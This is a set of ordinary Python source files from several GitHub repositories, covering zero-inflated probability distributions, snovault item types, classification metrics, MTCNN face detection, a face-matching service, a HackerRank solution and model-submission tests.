distribution can be derived as a limiting case of the\n binomial distribution.\n \"\"\"\n\n def __init__(self, mu=None):\n super().__init__()\n self.mu = mu\n self.dist = copy(stats.poisson)\n self.support = (0, np.inf)\n self._parametrization(mu)\n\n def _parametrization(self, mu=None):\n self.mu = mu\n self.params = (self.mu,)\n self.param_names = (\"mu\",)\n self.params_support = ((eps, np.inf),)\n if mu is not None:\n self._update(mu)\n\n def _get_frozen(self):\n frozen = None\n if all_not_none(self.params):\n frozen = self.dist(self.mu)\n return frozen\n\n def _update(self, mu):\n self.mu = np.float64(mu)\n self.params = (self.mu,)\n self._update_rv_frozen()\n\n def _fit_moments(self, mean, sigma=None): # pylint: disable=unused-argument\n self._update(mean)\n\n def _fit_mle(self, sample):\n mu = np.mean(sample)\n self._update(mu)\n\n\nclass ZeroInflatedBinomial(Discrete):\n R\"\"\"\n Zero-inflated Binomial distribution.\n\n The pmf of this distribution is\n\n .. math::\n\n f(x \\mid \\psi, n, p) = \\left\\{ \\begin{array}{l}\n (1-\\psi) + \\psi (1-p)^{n}, \\text{if } x = 0 \\\\\n \\psi {n \\choose x} p^x (1-p)^{n-x}, \\text{if } x=1,2,3,\\ldots,n\n \\end{array} \\right.\n\n .. plot::\n :context: close-figs\n\n import arviz as az\n from preliz import ZeroInflatedBinomial\n az.style.use('arviz-white')\n ns = [10, 20]\n ps = [0.5, 0.7]\n psis = [0.7, 0.4]\n for n, p, psi in zip(ns, ps, psis):\n ZeroInflatedBinomial(psi, n, p).plot_pdf(support=(0,25))\n\n ======== ==========================\n Support :math:`x \\in \\mathbb{N}_0`\n Mean :math:`\\psi n p`\n Variance :math:`(1-\\psi) n p [1 - p(1 - \\psi n)].`\n ======== ==========================\n\n Parameters\n ----------\n psi : float\n Expected proportion of Binomial variates (0 < psi < 1)\n n : int\n Number of Bernoulli trials (n >= 0).\n p : float\n Probability of success in each trial (0 < p < 1).\n \"\"\"\n\n def __init__(self, psi=None, n=None, p=None):\n super().__init__()\n self.psi = psi\n self.n = n\n self.p = p\n self.dist = _ZIBinomial\n self.support = (0, np.inf)\n self._parametrization(psi, n, p)\n\n def _parametrization(self, psi=None, n=None, p=None):\n self.psi = psi\n self.n = n\n self.p = p\n self.params = (self.psi, self.n, self.p)\n self.param_names = (\"psi\", \"n\", \"p\")\n self.params_support = ((eps, 1 - eps), (eps, np.inf), (eps, 1 - eps))\n if all_not_none(psi, n, p):\n self._update(psi, n, p)\n\n def _get_frozen(self):\n frozen = None\n if all_not_none(self.params):\n frozen = self.dist(self.psi, self.n, self.p)\n return frozen\n\n def _update(self, psi, n, p):\n self.psi = np.float64(psi)\n self.n = np.int64(n)\n self.p = np.float64(p)\n self.params = (self.psi, self.n, self.p)\n self._update_rv_frozen()\n\n def _fit_moments(self, mean, sigma):\n # crude approximation for n and p (same as Binomial)\n n = mean + sigma * 2\n p = mean / n\n psi = 0.9\n params = psi, n, p\n optimize_moments(self, mean, sigma, params)\n\n def _fit_mle(self, sample):\n optimize_ml(self, sample)\n\n\nclass ZeroInflatedNegativeBinomial(Discrete):\n R\"\"\"\n Zero-Inflated Negative binomial distribution.\n\n The Zero-inflated version of the Negative Binomial (NB).\n The NB distribution describes a Poisson random variable\n whose rate parameter is gamma distributed.\n The pmf of this distribution is\n\n .. math::\n\n f(x \\mid \\psi, \\mu, \\alpha) = \\left\\{\n \\begin{array}{l}\n (1-\\psi) + \\psi \\left (\n \\frac{\\alpha}{\\alpha+\\mu}\n \\right) ^\\alpha, \\text{if } x = 0 \\\\\n \\psi \\frac{\\Gamma(x+\\alpha)}{x! \\Gamma(\\alpha)} \\left (\n \\frac{\\alpha}{\\mu+\\alpha}\n \\right)^\\alpha \\left(\n \\frac{\\mu}{\\mu+\\alpha}\n \\right)^x, \\text{if } x=1,2,3,\\ldots\n \\end{array}\n \\right.\n\n .. plot::\n :context: close-figs\n\n import arviz as az\n from preliz import ZeroInflatedNegativeBinomial\n az.style.use('arviz-white')\n psis = [0.7, 0.7]\n mus = [2, 8]\n alphas = [2, 4]\n for psi, mu, alpha in zip(psis, mus, alphas):\n ZeroInflatedNegativeBinomial(psi, mu=mu, alpha=alpha).plot_pdf(support=(0,25))\n\n ======== ==========================\n Support :math:`x \\in \\mathbb{N}_0`\n Mean :math:`\\psi\\mu`\n Var :math:`\\psi\\mu + \\left (1 + \\frac{\\mu}{\\alpha} + \\frac{1-\\psi}{\\mu} \\right)`\n ======== ==========================\n\n The zero inflated negative binomial distribution can be parametrized\n either in terms of mu and alpha, or in terms of n and p.\n The link between the parametrizations is given by\n\n .. math::\n\n \\mu &= \\frac{n(1-p)}{p} \\\\\n \\alpha &= n\n\n Parameters\n ----------\n psi : float\n Expected proportion of NegativeBinomial variates (0 < psi < 1)\n mu : float\n Poisson distribution parameter (mu > 0).\n alpha : float\n Gamma distribution parameter (alpha > 0).\n p : float\n Alternative probability of success in each trial (0 < p < 1).\n n : float\n Alternative number of target success trials (n > 0)\n \"\"\"\n\n def __init__(self, psi=None, mu=None, alpha=None, p=None, n=None):\n super().__init__()\n self.psi = psi\n self.n = n\n self.p = p\n self.alpha = alpha\n self.mu = mu\n self.dist = _ZINegativeBinomial\n self.support = (0, np.inf)\n self._parametrization(psi, mu, alpha, p, n)\n\n def _parametrization(self, psi=None, mu=None, alpha=None, p=None, n=None):\n if any_not_none(mu, alpha) and any_not_none(p, n):\n raise ValueError(\n \"Incompatible parametrization. Either use psi, mu and alpha, or psi, p and n.\"\n )\n\n self.psi = psi\n self.param_names = (\"psi\", \"mu\", \"alpha\")\n self.params_support = ((eps, 1 - eps), (eps, np.inf), (eps, np.inf))\n\n if any_not_none(p, n):\n self.p = p\n self.n = n\n self.param_names = (\"psi\", \"p\", \"n\")\n if all_not_none(p, n):\n mu, alpha = self._from_p_n(p, n)\n\n self.mu = mu\n self.alpha = alpha\n self.params = (self.psi, self.mu, self.alpha)\n if all_not_none(mu, alpha):\n self._update(psi, mu, alpha)\n\n def _from_p_n(self, p, n):\n alpha = n\n mu = n * (1 / p - 1)\n return mu, alpha\n\n def _to_p_n(self, mu, alpha):\n p = alpha / (mu + alpha)\n n = alpha\n return p, n\n\n def _get_frozen(self):\n frozen = None\n if all_not_none(self.params):\n frozen = self.dist(self.psi, self.p, self.n)\n return frozen\n\n def _update(self, psi, mu, alpha):\n self.psi = np.float64(psi)\n self.mu = np.float64(mu)\n self.alpha = np.float64(alpha)\n self.p, self.n = self._to_p_n(self.mu, self.alpha)\n\n if self.param_names[1] == \"mu\":\n self.params = (self.psi, self.mu, self.alpha)\n elif self.param_names[1] == \"p\":\n self.params = (self.psi, self.p, self.n)\n\n self._update_rv_frozen()\n\n def _fit_moments(self, mean, sigma):\n psi = 0.9\n mu = mean / psi\n alpha = mean**2 / (sigma**2 - mean)\n params = psi, mu, alpha\n optimize_moments(self, mean, sigma, params)\n\n def _fit_mle(self, sample):\n optimize_ml(self, sample)\n\n\nclass ZeroInflatedPoisson(Discrete):\n R\"\"\"\n Zero-inflated Poisson distribution.\n\n Often used to model the number of events occurring in a fixed period\n of time when the times at which events occur are independent.\n The pmf of this distribution is\n\n .. math::\n\n f(x \\mid \\psi, \\mu) = \\left\\{ \\begin{array}{l}\n (1-\\psi) + \\psi e^{-\\mu}, \\text{if } x = 0 \\\\\n \\psi \\frac{e^{-\\mu}\\mu^x}{x!}, \\text{if } x=1,2,3,\\ldots\n \\end{array} \\right.\n\n .. plot::\n :context: close-figs\n\n import arviz as az\n from preliz import ZeroInflatedPoisson\n az.style.use('arviz-white')\n psis = [0.7, 0.4]\n mus = [8, 4]\n for psi, mu in zip(psis, mus):\n ZeroInflatedPoisson(psi, mu).plot_pdf()\n\n ======== ================================\n Support :math:`x \\in \\mathbb{N}_0`\n Mean :math:`\\psi \\mu`\n Variance :math:`\\psi \\mu (1+(1-\\psi) \\mu`\n ======== ================================\n\n Parameters\n ----------\n psi : float\n Expected proportion of Poisson variates (0 < psi < 1)\n mu : float\n Expected number of occurrences during the given interval\n (mu >= 0).\n \"\"\"\n\n def __init__(self, psi=None, mu=None):\n super().__init__()\n self.psi = psi\n self.mu = mu\n self.dist = _ZIPoisson\n self.support = (0, np.inf)\n self._parametrization(psi, mu)\n\n def _parametrization(self, psi=None, mu=None):\n self.psi = psi\n self.mu = mu\n self.params = (self.psi, self.mu)\n self.param_names = (\"psi\", \"mu\")\n self.params_support = ((eps, 1 - eps), (eps, np.inf))\n if all_not_none(psi, mu):\n self._update(psi, mu)\n\n def _get_frozen(self):\n frozen = None\n if all_not_none(self.params):\n frozen = self.dist(self.psi, self.mu)\n return frozen\n\n def _update(self, psi, mu):\n self.psi = np.float64(psi)\n self.mu = np.float64(mu)\n self.params = (self.psi, self.mu)\n self._update_rv_frozen()\n\n def _fit_moments(self, mean, sigma):\n psi = min(0.99, max(0.01, mean**2 / (mean**2 - mean + sigma**2)))\n mean = mean / psi\n self._update(psi, mean)\n\n def _fit_mle(self, sample):\n optimize_ml(self, sample)\n\n\nclass _ZIBinomial(stats.rv_continuous):\n def __init__(self, psi=None, n=None, p=None):\n super().__init__()\n self.psi = psi\n self.n = n\n self.p = p\n\n def support(self, *args, **kwd): # pylint: disable=unused-argument\n return (0, np.inf)\n\n def cdf(self, x, *args, **kwds):\n return (1 - self.psi) + self.psi * stats.binom(self.n, self.p, *args, **kwds).cdf(x)\n\n def pmf(self, x, *args, **kwds):\n x = np.array(x, ndmin=1)\n result = np.zeros_like(x, dtype=float)\n result[x == 0] = (1 - self.psi) + self.psi * (1 - self.p) ** self.n\n result[x != 0] = self.psi * stats.binom(self.n, self.p, *args, **kwds).pmf(x[x != 0])\n return result\n\n def logpmf(self, x, *args, **kwds):\n result = np.zeros_like(x, dtype=float)\n result[x == 0] = np.log((1 - self.psi) + self.psi * (1 - self.p) ** self.n)\n result[x != 0] = np.log(self.psi) + stats.binom(self.n, self.p, *args, **kwds).logpmf(\n x[x != 0]\n )\n return result\n\n def ppf(self, q, *args, **kwds):\n return np.round(\n (1 - self.psi) + self.psi * stats.binom(self.n, self.p, *args, **kwds).ppf(q)\n )\n\n def _stats(self, *args, **kwds): # pylint: disable=unused-argument\n mean = self.psi * self.n * self.p\n var = (1 - self.psi) * self.n * self.p * (1 - self.p * (1 - self.psi * self.n))\n return (mean, var, np.nan, np.nan)\n\n def entropy(self): # pylint: disable=arguments-differ\n binomial_entropy = stats.binom.entropy(self.n, self.p)\n if self.psi < 0.00001:\n return 0\n elif self.psi > 0.99999:\n return binomial_entropy\n else:\n # The variable can be 0 with probability 1-psi or something else with probability psi\n zero_entropy = -(1 - self.psi) * np.log(1 - self.psi) - self.psi * np.log(self.psi)\n # The total entropy is the weighted sum of the two entropies\n return (1 - self.psi) * zero_entropy + self.psi * binomial_entropy\n\n def rvs(self, size=1): # pylint: disable=arguments-differ\n samples = np.zeros(size, dtype=int)\n non_zero_indices = np.where(np.random.uniform(size=size) < (self.psi))[0]\n samples[~non_zero_indices] = 0\n samples[non_zero_indices] = stats.binom.rvs(self.n, self.p, size=len(non_zero_indices))\n return samples\n\n\nclass _ZINegativeBinomial(stats.rv_continuous):\n def __init__(self, psi=None, p=None, n=None):\n super().__init__()\n self.psi = psi\n self.n = n\n self.p = p\n self.mu = self.n * (1 / self.p - 1)\n\n def support(self, *args, **kwd): # pylint: disable=unused-argument\n return (0, np.inf)\n\n def cdf(self, x, *args, **kwds):\n return (1 - self.psi) + self.psi * stats.nbinom(self.n, self.p, *args, **kwds).cdf(x)\n\n def pmf(self, x, *args, **kwds):\n x = np.array(x, ndmin=1)\n result = np.zeros_like(x, dtype=float)\n result[x == 0] = (1 - self.psi) + self.psi * (self.n / (self.n + self.mu)) ** self.n\n result[x != 0] = self.psi * stats.nbinom(self.n, self.p, *args, **kwds).pmf(x[x != 0])\n return result\n\n def logpmf(self, x, *args, **kwds):\n result = np.zeros_like(x, dtype=float)\n result[x == 0] = np.log((1 - self.psi) + self.psi * (self.n / (self.n + self.mu)) ** self.n)\n result[x != 0] = np.log(self.psi) + stats.nbinom(self.n, self.p, *args, **kwds).logpmf(\n x[x != 0]\n )\n return result\n\n def ppf(self, q, *args, **kwds):\n return np.round(\n (1 - self.psi) + self.psi * stats.nbinom(self.n, self.p, *args, **kwds).ppf(q)\n )\n\n def _stats(self, *args, **kwds): # pylint: disable=unused-argument\n mean = self.psi * self.mu\n var = self.psi * self.mu + (1 + (self.mu / self.n) + ((1 - self.psi) / self.mu))\n return (mean, var, np.nan, np.nan)\n\n def entropy(self): # pylint: disable=arguments-differ\n negative_binomial_entropy = stats.nbinom.entropy(self.n, self.p)\n if self.psi < 0.00001:\n return 0\n elif self.psi > 0.99999:\n return negative_binomial_entropy\n else:\n # The variable can be 0 with probability 1-psi or something else with probability psi\n zero_entropy = -(1 - self.psi) * np.log(1 - self.psi) - self.psi * np.log(self.psi)\n # The total entropy is the weighted sum of the two entropies\n return (1 - self.psi) * zero_entropy + self.psi * negative_binomial_entropy\n\n def rvs(self, size=1): # pylint: disable=arguments-differ\n samples = np.zeros(size, dtype=int)\n non_zero_indices = np.where(np.random.uniform(size=size) < (self.psi))[0]\n samples[~non_zero_indices] = 0\n samples[non_zero_indices] = stats.nbinom.rvs(self.n, self.p, size=len(non_zero_indices))\n return samples\n\n\nclass _ZIPoisson(stats.rv_continuous):\n def __init__(self, psi=None, mu=None):\n super().__init__()\n self.psi = psi\n self.mu = mu\n\n def support(self, *args, **kwd): # pylint: disable=unused-argument\n return (0, np.inf)\n\n def cdf(self, x, *args, **kwds):\n return (1 - self.psi) + self.psi * stats.poisson(self.mu, *args, **kwds).cdf(x)\n\n def pmf(self, x, *args, **kwds):\n x = np.array(x, ndmin=1)\n result = np.zeros_like(x, dtype=float)\n result[x == 0] = (1 - self.psi) + self.psi * np.exp(-self.mu)\n result[x != 0] = self.psi * stats.poisson(self.mu, *args, **kwds).pmf(x[x != 0])\n return result\n\n def logpmf(self, x, *args, **kwds):\n result = np.zeros_like(x, dtype=float)\n result[x == 0] = np.log(np.exp(-self.mu) * self.psi - self.psi + 1)\n result[x != 0] = np.log(self.psi) + stats.poisson(self.mu, *args, **kwds).logpmf(x[x != 0])\n return result\n\n def ppf(self, q, *args, **kwds):\n return np.round((1 - self.psi) + self.psi * stats.poisson(self.mu, *args, **kwds).ppf(q))\n\n def _stats(self, *args, **kwds): # pylint: disable=unused-argument\n mean = self.psi * self.mu\n var = self.psi * self.mu * (1 + (1 - self.psi) * self.mu)\n return (mean, var, np.nan, np.nan)\n\n def entropy(self): # pylint: disable=arguments-differ\n poisson_entropy = stats.poisson.entropy(self.mu)\n if self.psi < 0.00001:\n return 0\n elif self.psi > 0.99999:\n return poisson_entropy\n else:\n # The variable can be 0 with probability 1-psi or something else with probability psi\n zero_entropy = -(1 - self.psi) * np.log(1 - self.psi) - self.psi * np.log(self.psi)\n # The total entropy is the weighted sum of the two entropies\n return (1 - self.psi) * zero_entropy + self.psi * poisson_entropy\n\n def rvs(self, size=1): # pylint: disable=arguments-differ\n samples = np.zeros(size, dtype=int)\n non_zero_indices = np.where(np.random.uniform(size=size) < (self.psi))[0]\n samples[~non_zero_indices] = 0\n samples[non_zero_indices] = stats.poisson.rvs(self.mu, size=len(non_zero_indices))\n return samples\n","repo_name":"arviz-devs/preliz","sub_path":"preliz/distributions/discrete.py","file_name":"discrete.py","file_ext":"py","file_size_in_byte":43490,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"37"} +{"seq_id":"25629078196","text":"from snovault import (\n abstract_collection,\n calculated_property,\n collection,\n load_schema,\n)\nfrom .base import (\n Item,\n paths_filtered_by_status,\n)\n\n\nimport datetime\n\n\ndef item_is_revoked(request, path):\n return request.embed(path, '@@object').get('status') == 'revoked'\n\n\n@abstract_collection(\n name='snowsets',\n unique_key='accession',\n properties={\n 'title': \"Snowsets\",\n 'description': 'Abstract class describing different collections of snowflakes.',\n })\nclass Snowset(Item):\n base_types = ['Snowset'] + Item.base_types\n embedded = [\n 'snowflakes',\n 'snowflakes.submitted_by',\n 'snowflakes.lab',\n 'submitted_by',\n 'lab',\n 'award',\n ]\n audit_inherit = [\n 'snowflakes',\n 'submitted_by',\n 'lab',\n 'award',\n ]\n name_key = 'accession'\n rev = {\n 'snowflakes': ('Snowflake', 'snowset'),\n }\n\n @calculated_property(condition='date_released', schema={\n \"title\": \"Month released\",\n \"type\": \"string\",\n })\n def month_released(self, date_released):\n return datetime.datetime.strptime(date_released, '%Y-%m-%d').strftime('%B, %Y')\n\n @calculated_property(schema={\n \"title\": \"snowflakes\",\n \"type\": \"array\",\n \"items\": {\n \"type\": ['string', 'object'],\n \"linkFrom\": \"Snowflake.snowset\",\n },\n })\n def snowflakes(self, request, snowflakes):\n return paths_filtered_by_status(request, snowflakes)\n\n\n@collection(\n name='snowballs',\n unique_key='accession',\n properties={\n 'title': \"Snowball style snowset\",\n 'description': 'A set of snowflakes packed into a snowball.',\n })\nclass Snowball(Snowset):\n item_type = 'snowball'\n schema = load_schema('snowflakes:schemas/snowball.json')\n\n @calculated_property(\n schema={\n \"title\": \"test_calculated\",\n \"type\": \"string\",\n },\n define=True\n )\n def test_calculated(self):\n return 'test_calculated_value'\n\n @calculated_property(\n schema={\n \"title\": \"another_test_calculated\",\n \"type\": \"string\",\n })\n def another_test_calculated(self):\n return 'another_test_calculated_value'\n \n @calculated_property(\n schema={\n \"title\": \"conditional_test_calculated\",\n \"type\": \"string\",\n },\n condition='test_calculated'\n )\n def conditional_test_calculated(self):\n return 'conditional_test_calculated_value'\n \n matrix = {\n 'x': {\n 'group_by': 'snowflakes.type'\n },\n 'y': {\n 'group_by': ['award.rfa', 'lab.title']\n }\n }\n \n missing_matrix = {\n 'x': {\n 'group_by': 'snowflakes.type'\n },\n 'y': {\n 'group_by': ['award.rfa', ('lab.not_a_real_value', 'some_lab')]\n }\n }\n \n summary_matrix = {\n 'x': {\n 'group_by': 'status'\n },\n 'y': {\n 'group_by': ['snowflakes.type']\n }\n }\n\n audit = {\n 'x': {\n 'group_by': 'snowflakes.type',\n 'label': 'Type',\n },\n 'audit.ERROR.category': {\n 'group_by': 'audit.ERROR.category',\n 'label': 'Error',\n },\n 'audit.NOT_COMPLIANT.category': {\n 'group_by': 'audit.NOT_COMPLIANT.category',\n 'label': 'Not Compliant',\n },\n 'audit.WARNING.category': {\n 'group_by': 'audit.WARNING.category',\n 'label': 'Warning',\n },\n 'audit.INTERNAL_ACTION.category': {\n 'group_by': 'audit.INTERNAL_ACTION.category',\n 'label': 'Internal Action',\n },\n }\n\n\n@collection(\n name='snowforts',\n unique_key='accession',\n properties={\n 'title': \"Snowfort style snowset\",\n 'description': 'A set of snowflakes packed into a snowfort.',\n })\nclass Snowfort(Snowset):\n item_type = 'snowfort'\n schema = load_schema('snowflakes:schemas/snowfort.json')\n\n\n@collection(\n name='snowflakes',\n unique_key='accession',\n properties={\n 'title': 'Snowflakes',\n 'description': 'Listing of Snowflakes',\n })\nclass Snowflake(Item):\n item_type = 'snowflake'\n schema = load_schema('snowflakes:schemas/snowflake.json')\n name_key = 'accession'\n\n embedded = [\n 'lab',\n 'submitted_by',\n\n ]\n audit_inherit = [\n 'lab',\n 'submitted_by',\n\n ]\n","repo_name":"ENCODE-DCC/snovault","sub_path":"src/snowflakes/types/snow.py","file_name":"snow.py","file_ext":"py","file_size_in_byte":4492,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"37"} +{"seq_id":"21209031601","text":"from metrics import metrics\n\nif __name__ == '__main__':\n \n l1 = [0,1,1,1,0,0,0,1]\n l2 = [0,1,0,1,0,1,0,0]\n\n accuracy = metrics.accuracy(l1,l2) \n accuracy2= metrics.accuracy_v2(l1,l2)\n\n tp = metrics.true_positive(l1,l2)\n tn = metrics.true_negative(l1,l2)\n fp = metrics.false_positive(l1,l2)\n fn = metrics.false_negative(l1,l2)\n\n precision = metrics.precision(l1,l2)\n recall = metrics.recall(l1,l2)\n f1 = metrics.f1(l1,l2)\n specificity = metrics.specificity(l1,l2)\n\n print(f'Accuracy {accuracy}')\n print(f'TP {tp}')\n print(f'TN {tn}')\n print(f'FP {fp}')\n print(f'FN {fn}')\n print(f'Precision {precision}')\n print(f'Recall / True Positive Rate / Sensitivity: {recall}')\n print(f'F1 {f1}')\n print(f'Specificity / True Negative Rate: {specificity}')\n\n\n\n y_true = [0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1]\n y_prob = [0.1, 0.3, 0.2, 0.6, 0.8, 0.05, 0.9, 0.5, 0.3, 0.66, 0.3, 0.2, 0.85, 0.15, 0.99]\n\n log_loss = metrics.log_loss(y_true,y_prob)\n\n from sklearn.metrics import log_loss as sklearn_logloss\n log_loss_sk = sklearn_logloss(y_true,y_prob)\n\n print(f'Log Loss {log_loss}')\n print(f'Log Loss sklearn {log_loss_sk}')\n\n\n y_true_multiclass = [0,1,2,0,1,2,0,2,2]\n y_pred_multiclass = [0,2,1,0,2,1,0,0,2]\n\n macro_p = metrics.macro_precision(y_true_multiclass, y_pred_multiclass)\n print(f'Macro Precision {macro_p}')\n\n micro_p = metrics.micro_precision(y_true_multiclass, y_pred_multiclass)\n print(f'Micro Precision {micro_p}')\n\n\n weighted_p = metrics.weighted_precision(y_true_multiclass, y_pred_multiclass)\n print(f'Weighted Precision {weighted_p}')\n \n weighted_f1 = metrics.weighted_f1(y_true_multiclass, y_pred_multiclass)\n print(f'Weighted F1 {weighted_f1}')\n \n \n mae = metrics.mae(l1, l2)\n print(f'MAE {mae}')\n \n mse = metrics.mse(l1, l2)\n print(f'MSE {mse}')\n \n rmse = metrics.rmse(l1, l2)\n print(f'RMSE {rmse}')\n \n # msle = metrics.msle(l1,l2)\n # print(f'MSLE {msle}')\n \n # mpe = metrics.mpe(l1,l2)\n # print(f'MPE {mpe}')\n \n # mape = metrics.mape(l1,l2)\n # print(f'MAPE {mape}')\n \n r2 = metrics.r2(l1,l2)\n print(f'R^2 {r2}')","repo_name":"rootchile/ml-personal","sub_path":"debugger.py","file_name":"debugger.py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11587708503","text":"import cv2\nimport numpy as np\nimport tensorflow as tf\nfrom mtcnn import PNet, RNet, ONet\nfrom PIL import Image, ImageDraw\nfrom utils import detect_face\n\ndef load_weights(model, weights_file):\n weights_dict = np.load(weights_file, encoding='latin1').item()\n for layer_name in weights_dict.keys():\n layer = model.get_layer(layer_name)\n if \"conv\" in layer_name:\n layer.set_weights([weights_dict[layer_name][\"weights\"], weights_dict[layer_name][\"biases\"]])\n else:\n prelu_weight = weights_dict[layer_name]['alpha']\n try:\n layer.set_weights([prelu_weight])\n except:\n layer.set_weights([prelu_weight[np.newaxis, np.newaxis, :]])\n return True\n\npnet, rnet, onet = PNet(), RNet(), ONet()\npnet(tf.ones(shape=[1, 12, 12, 3]))\nrnet(tf.ones(shape=[1, 24, 24 ,3]))\nonet(tf.ones(shape=[1, 48, 48, 3]))\nload_weights(pnet, \"./det1.npy\"), load_weights(rnet, \"./det2.npy\"), load_weights(onet, \"./det3.npy\")\n\nimage = cv2.cvtColor(cv2.imread(\"./multiface.jpg\"), cv2.COLOR_BGR2RGB)\ntotal_boxes, points = detect_face(image, 20, pnet, rnet, onet, [0.6, 0.7, 0.7], 0.709)\n\nfor bounding_box, keypoints in zip(total_boxes, points.T):\n bounding_boxes = {\n 'box': [int(bounding_box[0]), int(bounding_box[1]),\n int(bounding_box[2]-bounding_box[0]), int(bounding_box[3]-bounding_box[1])],\n 'confidence': bounding_box[-1],\n 'keypoints': {\n 'left_eye': (int(keypoints[0]), int(keypoints[5])),\n 'right_eye': (int(keypoints[1]), int(keypoints[6])),\n 'nose': (int(keypoints[2]), int(keypoints[7])),\n 'mouth_left': (int(keypoints[3]), int(keypoints[8])),\n 'mouth_right': (int(keypoints[4]), int(keypoints[9])),\n }\n }\n bounding_box = bounding_boxes['box']\n keypoints = bounding_boxes['keypoints']\n cv2.rectangle(image,\n (bounding_box[0], bounding_box[1]),\n (bounding_box[0]+bounding_box[2], bounding_box[1] + bounding_box[3]),\n (0,155,255), 2)\n cv2.circle(image,(keypoints['left_eye']), 2, (0,155,255), 2)\n cv2.circle(image,(keypoints['right_eye']), 2, (0,155,255), 2)\n cv2.circle(image,(keypoints['nose']), 2, (0,155,255), 2)\n cv2.circle(image,(keypoints['mouth_left']), 2, (0,155,255), 2)\n cv2.circle(image,(keypoints['mouth_right']), 2, (0,155,255), 2)\n\nImage.fromarray(image).show()\n","repo_name":"YunYang1994/TensorFlow2.0-Examples","sub_path":"4-Object_Detection/MTCNN/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2475,"program_lang":"python","lang":"en","doc_type":"code","stars":1712,"dataset":"github-code","pt":"37"} +{"seq_id":"1231084855","text":"# -*- coding: utf-8 -*-\n\nimport face_recognition\nfrom PIL import Image\nimport io\nimport numpy as np\n\nclass FaceMatchService:\n \n\n \n \n def face_match(self,img1,img2):\n try:\n img1_encoding = face_recognition.face_encodings(np.asarray(img1))[0]\n img2_encoding = face_recognition.face_encodings(np.asarray(img2))[0]\n \n score = 1 - face_recognition.face_distance([img1_encoding], img2_encoding)[0]\n \n result = {\n 'score' : score,\n 'matched' : score>0.4,\n 'isSuccessful' : True\n }\n \n except Exception as e: \n\n reusult = {\n 'isSuccessful' : False,\n 'error' : e\n }\n return result\n \nif __name__ == '__main__':\n from PIL import Image\n img1 = Image.open('7702ddf3763832a0ef4ed9094b27ca40.jpg')\n img2 = Image.open('f5df2b61e3310dad9c28e75b760a82b4.jpg')\n service = FaceMatchService()\n print(service.face_match(img1,img2))","repo_name":"sadin911/doeapi","sub_path":"4connerwithsegment/services/FaceMatchService.py","file_name":"FaceMatchService.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"33757712126","text":"from pymongo import MongoClient\nfrom datetime import date\nimport arrow\n\n# 2020 season start = July 23\n# 2020 season end = September 27\n# season_start = date(2020, 7, 23)\n# season_end = date(2020, 9, 27)\n\n# 2021 season start = April 1\n# 2021 season end = October 3\nseason_start = date(2021, 4, 1)\nseason_end = date(2021, 10, 3)\n\n# DATES AND TIMES\nutcnow = arrow.utcnow()\npstnow = utcnow.to('US/Pacific')\ntoday = pstnow.date()\n\n# League Size\nnumTeams = 12\n\n# mongo stuff\nclient = MongoClient()\ndb = client.wfbc2021\n","repo_name":"tpups/wfbc_utils","sub_path":"inputs.py","file_name":"inputs.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33391336662","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'minimumBribes' function below.\n#\n# The function accepts INTEGER_ARRAY q as parameter.\n#\n\n'''\ndef minimumBribes(q):\n # Write your code here\n p = 0\n b = 0\n lst = []\n for i in range(1,len(q)+1):\n lst.append(i)\n #print('lst: ',lst) \n for i in range(len(q)):\n p = q[i] - (i + 1)\n #print(p)\n if p > 2:\n break\n elif p > 0:\n b += p\n lst[q[i]-1] = 0; aux = q[i];\n #print('lst[q[i]-1]',lst[q[i]-1])\n for x in range(p): #replicando el movimiento\n lst[q[i]-1-x] = lst[q[i]-1-x-1]\n lst[q[i]-1-x-1] = aux \n \n if p > 2:\n print('Too chaotic')\n else:\n #print('q: ',q) \n #print('lst: ',lst) \n p = 0\n for i in range(len(q)): #compara con la lista original si no es igual hubo movimientos adicionales e intenta replicarlos para dejarla igual\n if q[i] != lst[i]:\n #print('i: ',i)\n p = lst.index(q[i]) - i\n if p > 2:\n break\n elif p > 0:\n b += p\n aux = lst[i] \n lst[i] = q[i]\n lst[q.index(aux)] = aux\n \n \n \n print(b) \n #print('lst: ',lst) \n'''\ndef minimumBribes(q):\n m = 0\n Q = [i-1 for i in q]\n for i,j in enumerate(Q):\n if j-i > 2:\n print('Too chaotic')\n return\n for k in range(max(j-1, 0), i):\n if Q[k] > j:\n m += 1\n print(m)\n\n\n\nif __name__ == '__main__':\n t = int(input().strip())\n\n for t_itr in range(t):\n n = int(input().strip())\n\n q = list(map(int, input().rstrip().split()))\n\n minimumBribes(q)\n","repo_name":"CyberSoul21/HackerRank-problems","sub_path":"week_preparation_Python/day_04/03_new_year_caos/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9187561478","text":"from pollos_petrel import add_id, Model, write_submission\nimport os\nimport pandas as pd\nimport pytest\n\n\ndef test_add_id():\n data_previous_id = {\"target\": [3, 4]}\n dataset_previous_id = pd.DataFrame(data=data_previous_id)\n data_with_id = {\"id\": [1, 2], \"target\": [3, 4]}\n dataset_with_id = pd.DataFrame(data=data_with_id)\n dataset_add_id = add_id(dataset_previous_id, dataset_with_id)\n obtained_id = dataset_add_id.id[0]\n expected_id = 1\n assert obtained_id == expected_id\n obtained_columns = list(dataset_add_id)\n assert \"id\" in obtained_columns\n\n\ndef remove_submission(submission_path):\n if os.path.exists(submission_path):\n os.remove(submission_path)\n\n\ndef compare_none_rows(submission):\n number_rows = len(submission)\n none_rows = submission.target.isnull().sum()\n assert number_rows != none_rows\n\n\ndef compare_path_exists(submission_path):\n assert os.path.exists(submission_path)\n os.remove(submission_path)\n\n\ndef compare_path_and_none_rows(submission_path, submission):\n compare_path_exists(submission_path)\n compare_none_rows(submission)\n\n\nSUBMISSION_PATHS = {\n \"dummy\": Model.DummyModel.submission_path,\n \"linear\": 